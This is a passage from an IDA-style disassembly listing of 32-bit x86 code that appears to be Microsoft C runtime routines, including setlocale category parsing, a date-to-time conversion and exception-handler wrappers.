mov edx, [ecx]
push edx
call sub_42D7C0
add esp, 8
mov ecx, [ebp+var_1C]
mov [ecx], eax
loc_42D5EE: ; CODE XREF: sub_42D4B0+11Aj
; sub_42D4B0+122j
jmp short loc_42D5F5
; ---------------------------------------------------------------------------
loc_42D5F0: ; CODE XREF: sub_42D4B0+E5j
; sub_42D4B0+F7j
call sub_42D910
loc_42D5F5: ; CODE XREF: sub_42D4B0:loc_42D5EEj
jmp loc_42D703
; ---------------------------------------------------------------------------
loc_42D5FA: ; CODE XREF: sub_42D4B0+D0j
mov edx, [ebp+arg_C]
cmp dword ptr [edx+18h], 0
jnz short loc_42D660
push 1
mov eax, [ebp+arg_0]
mov ecx, [eax+18h]
push ecx
call sub_432F80
add esp, 8
test eax, eax
jz short loc_42D656
push 1
mov edx, [ebp+var_1C]
push edx
call sub_432FB0
add esp, 8
test eax, eax
jz short loc_42D656
mov eax, [ebp+arg_C]
mov ecx, [eax+14h]
push ecx
mov edx, [ebp+arg_C]
add edx, 8
push edx
mov eax, [ebp+arg_0]
mov ecx, [eax+18h]
push ecx
call sub_42D7C0
add esp, 8
push eax
mov edx, [ebp+var_1C]
push edx
call sub_420840
add esp, 0Ch
jmp short loc_42D65B
; ---------------------------------------------------------------------------
loc_42D656: ; CODE XREF: sub_42D4B0+166j
; sub_42D4B0+178j
call sub_42D910
loc_42D65B: ; CODE XREF: sub_42D4B0+1A4j
jmp loc_42D703
; ---------------------------------------------------------------------------
loc_42D660: ; CODE XREF: sub_42D4B0+151j
push 1
mov eax, [ebp+arg_0]
mov ecx, [eax+18h]
push ecx
call sub_432F80
add esp, 8
test eax, eax
jz loc_42D6FE
push 1
mov edx, [ebp+var_1C]
push edx
call sub_432FB0
add esp, 8
test eax, eax
jz short loc_42D6FE
mov eax, [ebp+arg_C]
mov ecx, [eax+18h]
push ecx
call sub_432FE0
add esp, 4
test eax, eax
jz short loc_42D6FE
mov edx, [ebp+arg_C]
mov eax, [edx]
and eax, 4
test eax, eax
jz short loc_42D6D5
push 1
mov ecx, [ebp+arg_C]
add ecx, 8
push ecx
mov edx, [ebp+arg_0]
mov eax, [edx+18h]
push eax
call sub_42D7C0
add esp, 8
push eax
mov ecx, [ebp+arg_C]
mov edx, [ecx+18h]
push edx
mov eax, [ebp+var_1C]
push eax
call sub_4203B0
jmp short loc_42D6FC
; ---------------------------------------------------------------------------
loc_42D6D5: ; CODE XREF: sub_42D4B0+1F8j
mov ecx, [ebp+arg_C]
add ecx, 8
push ecx
mov edx, [ebp+arg_0]
mov eax, [edx+18h]
push eax
call sub_42D7C0
add esp, 8
push eax
mov ecx, [ebp+arg_C]
mov edx, [ecx+18h]
push edx
mov eax, [ebp+var_1C]
push eax
call sub_4203A0
loc_42D6FC: ; CODE XREF: sub_42D4B0+223j
jmp short loc_42D703
; ---------------------------------------------------------------------------
loc_42D6FE: ; CODE XREF: sub_42D4B0+1C3j
; sub_42D4B0+1D9j ...
call sub_42D910
loc_42D703: ; CODE XREF: sub_42D4B0:loc_42D571j
; sub_42D4B0:loc_42D5F5j ...
mov [ebp+var_4], 0FFFFFFFFh
jmp short loc_42D71A
; ---------------------------------------------------------------------------
mov eax, 1
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
call sub_42D860
loc_42D71A: ; CODE XREF: sub_42D4B0:loc_42D4F6j
; sub_42D4B0+25Aj
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_42D4B0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42D730 proc near ; CODE XREF: sub_42CCA0+252p
; sub_42D3ED+55p
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_43D360
push offset sub_423364
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
push ebx
push esi
push edi
mov [ebp+var_18], esp
cmp [ebp+arg_0], 0
jz short loc_42D7A5
mov eax, [ebp+arg_0]
mov ecx, [eax+1Ch]
cmp dword ptr [ecx+4], 0
jz short loc_42D7A5
mov [ebp+var_4], 0
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
mov ecx, [eax+4]
push ecx
mov edx, [ebp+arg_0]
mov eax, [edx+18h]
push eax
call sub_420390
mov [ebp+var_4], 0FFFFFFFFh
jmp short loc_42D7A5
; ---------------------------------------------------------------------------
mov eax, [ebp+arg_4]
and eax, 0FFh
neg eax
sbb eax, eax
neg eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
call sub_42D860
loc_42D7A5: ; CODE XREF: sub_42D730+2Aj
; sub_42D730+36j ...
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_42D730 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42D7C0 proc near ; CODE XREF: sub_42D4B0+ADp
; sub_42D4B0+131p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_4]
mov ecx, [ebp+arg_0]
add ecx, [eax]
mov [ebp+var_4], ecx
mov edx, [ebp+arg_4]
cmp dword ptr [edx+4], 0
jl short loc_42D7FF
mov eax, [ebp+arg_4]
mov ecx, [eax+4]
mov edx, [ebp+arg_0]
mov eax, [edx+ecx]
mov ecx, [ebp+arg_4]
mov edx, [ecx+8]
mov ecx, [ebp+var_4]
add ecx, [eax+edx]
mov [ebp+var_4], ecx
mov edx, [ebp+arg_4]
mov eax, [ebp+var_4]
add eax, [edx+4]
mov [ebp+var_4], eax
loc_42D7FF: ; CODE XREF: sub_42D7C0+16j
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_42D7C0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42D810 proc near ; CODE XREF: sub_420490+4Dp
; sub_42D120+8Bp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 4
push ebx
push ecx
mov eax, [ebp+arg_4]
add eax, 0Ch
mov [ebp+var_4], eax
mov eax, [ebp+arg_0]
push ebp
push [ebp+arg_8]
mov ecx, [ebp+arg_8]
mov ebp, [ebp+var_4]
call sub_4207FD
push esi
push edi
call eax
pop edi
pop esi
mov ebx, ebp
pop ebp
mov ecx, [ebp+arg_8]
push ebp
mov ebp, ebx
cmp ecx, 100h
jnz short loc_42D84F
mov ecx, 2
loc_42D84F: ; CODE XREF: sub_42D810+38j
push ecx
call sub_4207FD
pop ebp
pop ecx
pop ebx
leave
retn 0Ch
sub_42D810 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42D860 proc near ; CODE XREF: sub_42CCA0:loc_42CF33p
; sub_42D220:loc_42D241p ...
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0042D8D4 SIZE 00000011 BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_43D370
push offset sub_423364
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov [ebp+var_4], 0
call sub_428EE0
cmp dword ptr [eax+60h], 0
jz short loc_42D8C0
mov [ebp+var_4], 1
call sub_428EE0
call dword ptr [eax+60h]
mov [ebp+var_4], 0
jmp short loc_42D8C0
; ---------------------------------------------------------------------------
loc_42D8B0: ; DATA XREF: _1:0043D380o
mov eax, 1
retn
; ---------------------------------------------------------------------------
loc_42D8B6: ; DATA XREF: _1:0043D384o
mov esp, [ebp+var_18]
mov [ebp+var_4], 0
loc_42D8C0: ; CODE XREF: sub_42D860+36j
; sub_42D860+4Ej
mov [ebp+var_4], 0FFFFFFFFh
call sub_42D8CE
jmp short loc_42D8D4
sub_42D860 endp
; =============== S U B R O U T I N E =======================================
sub_42D8CE proc near ; CODE XREF: sub_42D860+67p
; DATA XREF: _1:0043D378o
call sub_433010
retn
sub_42D8CE endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42D860
loc_42D8D4: ; CODE XREF: sub_42D860+6Cj
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; END OF FUNCTION CHUNK FOR sub_42D860
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
call sub_428EE0
cmp dword ptr [eax+64h], 0
jz short loc_42D906
call sub_428EE0
call dword ptr [eax+64h]
loc_42D906: ; CODE XREF: _0:0042D8FCj
call sub_42D860
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42D910 proc near ; CODE XREF: sub_4206A0+23p
; sub_4206A0:loc_42070Dp ...
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0042D980 SIZE 00000011 BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_43D388
push offset sub_423364
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov [ebp+var_4], 0
cmp ds:off_4541B0, 0
jz short loc_42D96C
mov [ebp+var_4], 1
call ds:off_4541B0
mov [ebp+var_4], 0
jmp short loc_42D96C
; ---------------------------------------------------------------------------
loc_42D95C: ; DATA XREF: _1:0043D398o
mov eax, 1
retn
; ---------------------------------------------------------------------------
loc_42D962: ; DATA XREF: _1:0043D39Co
mov esp, [ebp+var_18]
mov [ebp+var_4], 0
loc_42D96C: ; CODE XREF: sub_42D910+34j
; sub_42D910+4Aj
mov [ebp+var_4], 0FFFFFFFFh
call sub_42D97A
jmp short loc_42D980
sub_42D910 endp
; =============== S U B R O U T I N E =======================================
sub_42D97A proc near ; CODE XREF: sub_42D910+63p
; DATA XREF: _1:0043D390o
call sub_42D860
retn
sub_42D97A endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42D910
loc_42D980: ; CODE XREF: sub_42D910+68j
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; END OF FUNCTION CHUNK FOR sub_42D910
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42D9A0 proc near ; CODE XREF: sub_420D80+161p
var_2C = dword ptr -2Ch
var_28 = byte ptr -28h
var_20 = dword ptr -20h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 2Ch
mov eax, [ebp+arg_0]
sub eax, 76Ch
mov [ebp+arg_0], eax
cmp [ebp+arg_0], 46h
jl short loc_42D9C0
cmp [ebp+arg_0], 8Ah
jle short loc_42D9C8
loc_42D9C0: ; CODE XREF: sub_42D9A0+15j
or eax, 0FFFFFFFFh
jmp loc_42DA8A
; ---------------------------------------------------------------------------
loc_42D9C8: ; CODE XREF: sub_42D9A0+1Ej
mov ecx, [ebp+arg_4]
mov edx, [ebp+arg_8]
add edx, ds:dword_45456C[ecx*4]
mov [ebp+var_2C], edx
mov eax, [ebp+arg_0]
and eax, 3
test eax, eax
jnz short loc_42D9F1
cmp [ebp+arg_4], 2
jle short loc_42D9F1
mov ecx, [ebp+var_2C]
add ecx, 1
mov [ebp+var_2C], ecx
loc_42D9F1: ; CODE XREF: sub_42D9A0+40j
; sub_42D9A0+46j
mov edx, [ebp+arg_0]
sub edx, 46h
imul edx, 16Dh
mov eax, [ebp+arg_0]
sub eax, 1
sar eax, 2
mov ecx, [ebp+var_2C]
add ecx, edx
lea edx, [eax+ecx-11h]
imul edx, 18h
add edx, [ebp+arg_C]
mov [ebp+var_4], edx
mov eax, [ebp+var_4]
imul eax, 3Ch
add eax, [ebp+arg_10]
imul eax, 3Ch
add eax, [ebp+arg_14]
mov [ebp+var_4], eax
call sub_433030
mov ecx, [ebp+var_4]
add ecx, ds:dword_454488
mov [ebp+var_4], ecx
mov edx, [ebp+var_2C]
mov [ebp+var_C], edx
mov eax, [ebp+arg_0]
mov [ebp+var_14], eax
mov ecx, [ebp+arg_4]
sub ecx, 1
mov [ebp+var_18], ecx
mov edx, [ebp+arg_C]
mov [ebp+var_20], edx
cmp [ebp+arg_18], 1
jz short loc_42DA7B
cmp [ebp+arg_18], 0FFFFFFFFh
jnz short loc_42DA87
cmp ds:dword_45448C, 0
jz short loc_42DA87
lea eax, [ebp+var_28]
push eax
call sub_433440
add esp, 4
test eax, eax
jz short loc_42DA87
loc_42DA7B: ; CODE XREF: sub_42D9A0+BAj
mov ecx, [ebp+var_4]
add ecx, ds:dword_454490
mov [ebp+var_4], ecx
loc_42DA87: ; CODE XREF: sub_42D9A0+C0j
; sub_42D9A0+C9j ...
mov eax, [ebp+var_4]
loc_42DA8A: ; CODE XREF: sub_42D9A0+23j
mov esp, ebp
pop ebp
retn
sub_42D9A0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
sub esp, 0B0h
cmp dword ptr [ebp+8], 0
jl short loc_42DAA5
cmp dword ptr [ebp+8], 5
jle short loc_42DAAC
loc_42DAA5: ; CODE XREF: _0:0042DA9Dj
xor eax, eax
jmp loc_42DE7B
; ---------------------------------------------------------------------------
loc_42DAAC: ; CODE XREF: _0:0042DAA3j
push 13h
call sub_423280
add esp, 4
mov dword ptr [ebp-4], 1
mov eax, ds:dword_4F37C4
add eax, 1
mov ds:dword_4F37C4, eax
loc_42DACA: ; CODE XREF: _0:0042DADBj
cmp ds:dword_4F37C8, 0
jz short loc_42DADD
push 1
call ds:dword_4F534C ; Sleep
jmp short loc_42DACA
; ---------------------------------------------------------------------------
loc_42DADD: ; CODE XREF: _0:0042DAD1j
cmp dword ptr [ebp+8], 0
jz short loc_42DB21
cmp dword ptr [ebp+0Ch], 0
jz short loc_42DB01
mov ecx, [ebp+0Ch]
push ecx
mov edx, [ebp+8]
push edx
call sub_42DE80
add esp, 8
mov [ebp-0A8h], eax
jmp short loc_42DB13
; ---------------------------------------------------------------------------
loc_42DB01: ; CODE XREF: _0:0042DAE7j
mov eax, [ebp+8]
imul eax, 0Ch
mov ecx, ds:dword_4542C4[eax]
mov [ebp-0A8h], ecx
loc_42DB13: ; CODE XREF: _0:0042DAFFj
mov edx, [ebp-0A8h]
mov [ebp-8], edx
jmp loc_42DE5B
; ---------------------------------------------------------------------------
loc_42DB21: ; CODE XREF: _0:0042DAE1j
mov dword ptr [ebp-14h], 1
mov dword ptr [ebp-0Ch], 0
cmp dword ptr [ebp+0Ch], 0
jz loc_42DE53
mov eax, [ebp+0Ch]
movsx ecx, byte ptr [eax]
cmp ecx, 4Ch
jnz loc_42DD64
mov edx, [ebp+0Ch]
movsx eax, byte ptr [edx+1]
cmp eax, 43h
jnz loc_42DD64
mov ecx, [ebp+0Ch]
movsx edx, byte ptr [ecx+2]
cmp edx, 5Fh
jnz loc_42DD64
mov eax, [ebp+0Ch]
mov [ebp-9Ch], eax
loc_42DB71: ; CODE XREF: _0:0042DD33j
push offset asc_43D3E4 ; "=;"
mov ecx, [ebp-9Ch]
push ecx
call sub_434E70
add esp, 8
mov [ebp-0A0h], eax
cmp dword ptr [ebp-0A0h], 0
jz short loc_42DBBD
mov edx, [ebp-0A0h]
sub edx, [ebp-9Ch]
mov [ebp-0A4h], edx
cmp dword ptr [ebp-0A4h], 0
jz short loc_42DBBD
mov eax, [ebp-0A0h]
movsx ecx, byte ptr [eax]
cmp ecx, 3Bh
jnz short loc_42DBE3
loc_42DBBD: ; CODE XREF: _0:0042DB92j _0:0042DBADj
cmp dword ptr [ebp-4], 0
jz short loc_42DBDC
push 13h
call sub_423320
add esp, 4
mov edx, ds:dword_4F37C4
sub edx, 1
mov ds:dword_4F37C4, edx
loc_42DBDC: ; CODE XREF: _0:0042DBC1j
xor eax, eax
jmp loc_42DE7B
; ---------------------------------------------------------------------------
loc_42DBE3: ; CODE XREF: _0:0042DBBBj
mov dword ptr [ebp-10h], 1
jmp short loc_42DBF5
; ---------------------------------------------------------------------------
loc_42DBEC: ; CODE XREF: _0:loc_42DC41j
mov eax, [ebp-10h]
add eax, 1
mov [ebp-10h], eax
loc_42DBF5: ; CODE XREF: _0:0042DBEAj
cmp dword ptr [ebp-10h], 5
jg short loc_42DC43
mov ecx, [ebp-0A4h]
push ecx
mov edx, [ebp-9Ch]
push edx
mov eax, [ebp-10h]
imul eax, 0Ch
mov ecx, ds:off_4542C0[eax]
push ecx
call sub_41F5E0
add esp, 0Ch
test eax, eax
jnz short loc_42DC41
mov edx, [ebp-10h]
imul edx, 0Ch
mov eax, ds:off_4542C0[edx]
push eax
call sub_41BC70
add esp, 4
cmp [ebp-0A4h], eax
jnz short loc_42DC41
jmp short loc_42DC43
; ---------------------------------------------------------------------------
loc_42DC41: ; CODE XREF: _0:0042DC20j _0:0042DC3Dj
jmp short loc_42DBEC
; ---------------------------------------------------------------------------
loc_42DC43: ; CODE XREF: _0:0042DBF9j _0:0042DC3Fj
push offset asc_43D3E0 ; ";"
mov ecx, [ebp-0A0h]
add ecx, 1
mov [ebp-0A0h], ecx
mov edx, [ebp-0A0h]
push edx
call sub_434E30
add esp, 8
mov [ebp-0A4h], eax
cmp dword ptr [ebp-0A4h], 0
jnz short loc_42DCA9
mov eax, [ebp-0A0h]
movsx ecx, byte ptr [eax]
cmp ecx, 3Bh
jz short loc_42DCA9
cmp dword ptr [ebp-4], 0
jz short loc_42DCA2
push 13h
call sub_423320
add esp, 4
mov edx, ds:dword_4F37C4
sub edx, 1
mov ds:dword_4F37C4, edx
loc_42DCA2: ; CODE XREF: _0:0042DC87j
xor eax, eax
jmp loc_42DE7B
; ---------------------------------------------------------------------------
loc_42DCA9: ; CODE XREF: _0:0042DC73j _0:0042DC81j
cmp dword ptr [ebp-10h], 5
jg short loc_42DCFA
mov eax, [ebp-0A4h]
push eax
mov ecx, [ebp-0A0h]
push ecx
lea edx, [ebp-98h]
push edx
call sub_41E510
add esp, 0Ch
mov eax, [ebp-0A4h]
mov byte ptr [ebp+eax-98h], 0
lea ecx, [ebp-98h]
push ecx
mov edx, [ebp-10h]
push edx
call sub_42DE80
add esp, 8
test eax, eax
jz short loc_42DCFA
mov eax, [ebp-0Ch]
add eax, 1
mov [ebp-0Ch], eax
loc_42DCFA: ; CODE XREF: _0:0042DCADj _0:0042DCEFj
mov ecx, [ebp-0A0h]
add ecx, [ebp-0A4h]
mov [ebp-9Ch], ecx
mov edx, [ebp-9Ch]
movsx eax, byte ptr [edx]
test eax, eax
jz short loc_42DD28
mov ecx, [ebp-9Ch]
add ecx, 1
mov [ebp-9Ch], ecx
loc_42DD28: ; CODE XREF: _0:0042DD17j
mov edx, [ebp-9Ch]
movsx eax, byte ptr [edx]
test eax, eax
jnz loc_42DB71
cmp dword ptr [ebp-0Ch], 0
jz short loc_42DD4C
call sub_42E020
mov [ebp-0ACh], eax
jmp short loc_42DD56
; ---------------------------------------------------------------------------
loc_42DD4C: ; CODE XREF: _0:0042DD3Dj
mov dword ptr [ebp-0ACh], 0
loc_42DD56: ; CODE XREF: _0:0042DD4Aj
mov ecx, [ebp-0ACh]
mov [ebp-8], ecx
jmp loc_42DE51
; ---------------------------------------------------------------------------
loc_42DD64: ; CODE XREF: _0:0042DB42j _0:0042DB52j ...
mov edx, [ebp+8]
push edx
push 0
push 0
lea eax, [ebp-98h]
push eax
mov ecx, [ebp+0Ch]
push ecx
call sub_42E120
add esp, 14h
mov [ebp-8], eax
cmp dword ptr [ebp-8], 0
jz loc_42DE51
mov dword ptr [ebp-10h], 0
jmp short loc_42DD9E
; ---------------------------------------------------------------------------
loc_42DD95: ; CODE XREF: _0:loc_42DDFEj
mov edx, [ebp-10h]
add edx, 1
mov [ebp-10h], edx
loc_42DD9E: ; CODE XREF: _0:0042DD93j
cmp dword ptr [ebp-10h], 5
jg short loc_42DE00
cmp dword ptr [ebp-10h], 0
jz short loc_42DDFE
mov eax, [ebp-10h]
imul eax, 0Ch
mov ecx, ds:dword_4542C4[eax]
push ecx
lea edx, [ebp-98h]
push edx
call sub_41F7E0
add esp, 8
test eax, eax
jz short loc_42DDF5
lea eax, [ebp-98h]
push eax
mov ecx, [ebp-10h]
push ecx
call sub_42DE80
add esp, 8
test eax, eax
jz short loc_42DDEC
mov edx, [ebp-0Ch]
add edx, 1
mov [ebp-0Ch], edx
jmp short loc_42DDF3
; ---------------------------------------------------------------------------
loc_42DDEC: ; CODE XREF: _0:0042DDDFj
mov dword ptr [ebp-14h], 0
loc_42DDF3: ; CODE XREF: _0:0042DDEAj
jmp short loc_42DDFE
; ---------------------------------------------------------------------------
loc_42DDF5: ; CODE XREF: _0:0042DDC8j
mov eax, [ebp-0Ch]
add eax, 1
mov [ebp-0Ch], eax
loc_42DDFE: ; CODE XREF: _0:0042DDA8j
; _0:loc_42DDF3j
jmp short loc_42DD95
; ---------------------------------------------------------------------------
loc_42DE00: ; CODE XREF: _0:0042DDA2j
cmp dword ptr [ebp-14h], 0
jz short loc_42DE2B
call sub_42E020
mov [ebp-8], eax
push 2
mov ecx, ds:dword_4542C4
push ecx
call sub_41CA10
add esp, 8
mov ds:dword_4542C4, 0
jmp short loc_42DE51
; ---------------------------------------------------------------------------
loc_42DE2B: ; CODE XREF: _0:0042DE04j
cmp dword ptr [ebp-0Ch], 0
jz short loc_42DE3E
call sub_42E020
mov [ebp-0B0h], eax
jmp short loc_42DE48
; ---------------------------------------------------------------------------
loc_42DE3E: ; CODE XREF: _0:0042DE2Fj
mov dword ptr [ebp-0B0h], 0
loc_42DE48: ; CODE XREF: _0:0042DE3Cj
mov edx, [ebp-0B0h]
mov [ebp-8], edx
loc_42DE51: ; CODE XREF: _0:0042DD5Fj _0:0042DD86j ...
jmp short loc_42DE5B
; ---------------------------------------------------------------------------
loc_42DE53: ; CODE XREF: _0:0042DB33j
call sub_42E020
mov [ebp-8], eax
loc_42DE5B: ; CODE XREF: _0:0042DB1Cj
; _0:loc_42DE51j
cmp dword ptr [ebp-4], 0
jz short loc_42DE78
push 13h
call sub_423320
add esp, 4
mov eax, ds:dword_4F37C4
sub eax, 1
mov ds:dword_4F37C4, eax
loc_42DE78: ; CODE XREF: _0:0042DE5Fj
mov eax, [ebp-8]
loc_42DE7B: ; CODE XREF: _0:0042DAA7j _0:0042DBDEj ...
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42DE80 proc near ; CODE XREF: _0:0042DAF1p _0:0042DCE5p ...
var_A8 = dword ptr -0A8h
var_A0 = dword ptr -0A0h
var_9C = byte ptr -9Ch
var_18 = dword ptr -18h
var_14 = byte ptr -14h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0A8h
mov eax, [ebp+arg_0]
push eax
lea ecx, [ebp+var_A0]
push ecx
lea edx, [ebp+var_A8]
push edx
lea eax, [ebp+var_9C]
push eax
mov ecx, [ebp+arg_4]
push ecx
call sub_42E120
add esp, 14h
test eax, eax
jnz short loc_42DEB9
xor eax, eax
jmp loc_42E00F
; ---------------------------------------------------------------------------
loc_42DEB9: ; CODE XREF: sub_42DE80+30j
push 132h
push offset aSetlocal_c ; "setlocal.c"
push 2
lea edx, [ebp+var_9C]
push edx
call sub_41BC70
add esp, 4
add eax, 1
push eax
call sub_41BE70
add esp, 10h
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jnz short loc_42DEF0
xor eax, eax
jmp loc_42E00F
; ---------------------------------------------------------------------------
loc_42DEF0: ; CODE XREF: sub_42DE80+67j
mov eax, [ebp+arg_0]
imul eax, 0Ch
mov ecx, ds:dword_4542C4[eax]
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
mov eax, ds:dword_4F33F0[edx*4]
mov [ebp+var_4], eax
push 6
mov ecx, [ebp+arg_0]
imul ecx, 6
add ecx, offset dword_4F3630
push ecx
lea edx, [ebp+var_14]
push edx
call sub_41FBF0
add esp, 0Ch
mov eax, ds:dword_4F3408
mov [ebp+var_18], eax
lea ecx, [ebp+var_9C]
push ecx
mov edx, [ebp+var_8]
push edx
call sub_41F620
add esp, 8
mov ecx, [ebp+arg_0]
imul ecx, 0Ch
mov ds:dword_4542C4[ecx], eax
mov edx, [ebp+var_A8]
and edx, 0FFFFh
mov eax, [ebp+arg_0]
mov ds:dword_4F33F0[eax*4], edx
push 6
lea ecx, [ebp+var_A8]
push ecx
mov edx, [ebp+arg_0]
imul edx, 6
add edx, offset dword_4F3630
push edx
call sub_41FBF0
add esp, 0Ch
cmp [ebp+arg_0], 2
jnz short loc_42DF93
mov eax, [ebp+var_A0]
mov ds:dword_4F3408, eax
loc_42DF93: ; CODE XREF: sub_42DE80+106j
cmp [ebp+arg_0], 1
jnz short loc_42DFA5
mov ecx, [ebp+var_A0]
mov ds:dword_4F340C, ecx
loc_42DFA5: ; CODE XREF: sub_42DE80+117j
mov edx, [ebp+arg_0]
imul edx, 0Ch
call ds:off_4542C8[edx]
test eax, eax
jz short loc_42DFEC
mov eax, [ebp+arg_0]
imul eax, 0Ch
mov ecx, [ebp+var_C]
mov ds:dword_4542C4[eax], ecx
push 2
mov edx, [ebp+var_8]
push edx
call sub_41CA10
add esp, 8
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_4]
mov ds:dword_4F33F0[eax*4], ecx
mov edx, [ebp+var_18]
mov ds:dword_4F3408, edx
xor eax, eax
jmp short loc_42E00F
; ---------------------------------------------------------------------------
loc_42DFEC: ; CODE XREF: sub_42DE80+133j
cmp [ebp+var_C], offset dword_4541B4
jz short loc_42E003
push 2
mov eax, [ebp+var_C]
push eax
call sub_41CA10
add esp, 8
loc_42E003: ; CODE XREF: sub_42DE80+173j
mov ecx, [ebp+arg_0]
imul ecx, 0Ch
mov eax, ds:dword_4542C4[ecx]
loc_42E00F: ; CODE XREF: sub_42DE80+34j
; sub_42DE80+6Bj ...
mov esp, ebp
pop ebp
retn
sub_42DE80 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42E020 proc near ; CODE XREF: _0:0042DD3Fp _0:0042DE06p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 8
mov [ebp+var_8], 1
cmp ds:dword_4542C4, 0
jnz short loc_42E054
push 167h
push offset aSetlocal_c ; "setlocal.c"
push 2
push 351h
call sub_41BE70
add esp, 10h
mov ds:dword_4542C4, eax
loc_42E054: ; CODE XREF: sub_42E020+14j
mov eax, ds:dword_4542C4
mov byte ptr [eax], 0
mov [ebp+var_4], 1
jmp short loc_42E06E
; ---------------------------------------------------------------------------
loc_42E065: ; CODE XREF: sub_42E020:loc_42E117j
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
loc_42E06E: ; CODE XREF: sub_42E020+43j
mov edx, [ebp+var_4]
imul edx, 0Ch
mov eax, ds:dword_4542C4[edx]
push eax
push offset asc_43D3F4 ; "="
mov ecx, [ebp+var_4]
imul ecx, 0Ch
mov edx, ds:off_4542C0[ecx]
push edx
push 3
mov eax, ds:dword_4542C4
push eax
call sub_42E2C0
add esp, 14h
cmp [ebp+var_4], 5
jge short loc_42E0E9
push offset asc_43D3E0 ; ";"
mov ecx, ds:dword_4542C4
push ecx
call sub_41F630
add esp, 8
mov edx, [ebp+var_4]
add edx, 1
imul edx, 0Ch
mov eax, ds:dword_4542C4[edx]
push eax
mov ecx, [ebp+var_4]
imul ecx, 0Ch
mov edx, ds:dword_4542C4[ecx]
push edx
call sub_41F7E0
add esp, 8
test eax, eax
jz short loc_42E0E7
mov [ebp+var_8], 0
loc_42E0E7: ; CODE XREF: sub_42E020+BEj
jmp short loc_42E117
; ---------------------------------------------------------------------------
loc_42E0E9: ; CODE XREF: sub_42E020+81j
cmp [ebp+var_8], 0
jnz short loc_42E0F6
mov eax, ds:dword_4542C4
jmp short loc_42E11C
; ---------------------------------------------------------------------------
loc_42E0F6: ; CODE XREF: sub_42E020+CDj
push 2
mov eax, ds:dword_4542C4
push eax
call sub_41CA10
add esp, 8
mov ds:dword_4542C4, 0
mov eax, ds:off_4542DC
jmp short loc_42E11C
; ---------------------------------------------------------------------------
loc_42E117: ; CODE XREF: sub_42E020:loc_42E0E7j
jmp loc_42E065
; ---------------------------------------------------------------------------
loc_42E11C: ; CODE XREF: sub_42E020+D4j
; sub_42E020+F5j
mov esp, ebp
pop ebp
retn
sub_42E020 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42E120 proc near ; CODE XREF: _0:0042DD77p
; sub_42DE80+26p
var_88 = byte ptr -88h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 88h
cmp [ebp+arg_0], 0
jnz short loc_42E136
xor eax, eax
